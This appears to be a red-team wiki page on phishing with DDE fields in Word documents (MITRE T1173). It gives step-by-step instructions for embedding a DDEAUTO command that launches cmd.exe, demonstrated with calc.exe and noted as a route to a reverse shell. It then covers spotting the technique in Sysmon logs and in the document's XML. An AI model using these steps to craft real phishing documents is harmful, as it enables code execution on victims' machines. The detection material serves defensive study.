Skip to content

T1173: Phishing - DDE


Open a new MS Word Document and insert a field:

It will add an !Unexpected End of Formulato the document, that is expected. Right click it > Toggle Field Codes:

Toggle Field Codes will give this:

Replace = \* MERGEFORMAT with payload and save the doc:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 

to get this:

{% file src="../../../.gitbook/assets/evil.docx" caption="DDE: evil.docx" %}


Once the victim launches the evil .docx by and accepts 2 prompts, the reverse shell or in this case a calc.exe pops:


Sysmon logs can help spot suspicious processes and/or network connections being initiated by Office applications:

3rd and 4th columns respectively: PID and PPID


How can we inspect .docx same for .xlsx files? Since they are essentially .zip archives, we can rename the .docx file to .zip and simply unzip the archive for further inspection.

The file we are interested in is the document.xml trimmed for brevity below. Note how line 4 allows us inspecting the DDE payload in plain text:

{% code-tabs %} {% code-tabs-item title="document.xml" %}

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="" xmlns:cx="" xmlns:cx1="" xmlns:mc="" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="" xmlns:m="" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="" xmlns:wp="" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="" xmlns:w14="" xmlns:w15="" xmlns:w16se="" xmlns:wpg="" xmlns:wpi="" xmlns:wne="" xmlns:wps="" mc:Ignorable="w14 w15 w16se wp14">
      <w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText>
{% endcode-tabs-item %} {% endcode-tabs %}


{% embed url="" %}